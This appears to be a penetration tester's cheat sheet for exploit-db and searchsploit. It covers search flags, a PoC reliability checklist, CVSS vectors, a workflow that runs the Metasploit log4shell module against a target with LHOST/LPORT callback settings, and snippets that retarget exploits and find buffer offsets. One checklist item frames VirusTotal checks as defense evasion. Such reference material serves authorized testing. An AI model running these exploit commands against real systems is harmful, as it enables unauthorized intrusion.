exploit-db

searchsploit Usage Patterns

# Text search in title/path
searchsploit apache 2.4

# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228

# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(e['EDB-ID'], e['Title'], e['Path'])
"

# Copy exploit to working dir
searchsploit -m 50383

# Update database
searchsploit -u

# Search by nmap XML output
searchsploit --nmap nmap_output.xml

# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache

# Search for specific OS
searchsploit windows 10 privilege escalation

# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db

EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)

PoC Reliability Rubric

Reliability Assessment Checklist:

□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)

CVSS 3.1 Tier Quick Reference

Common Vector Components:

AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S:  U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)

Pre-built CVSS Vectors by Category:

Pre-auth RCE (critical):    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  = 9.8
Auth bypass + access:       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
Post-auth RCE:              CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 7.8
Stored XSS (admin):        CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  = 5.4
SQLi (read-only):           CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  = 6.5
SSRF (internal):            CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N  = 7.2
Path traversal (LFI):       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
DoS (network):              CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  = 7.5
CSRF (state-change):        CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N  = 6.5

searchsploit + Metasploit Workflow

# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool

# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py

# 3. Mirror to current directory
searchsploit -m 50592

# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"

# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"

Common Exploit Modification Patterns

# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)

# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']

# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')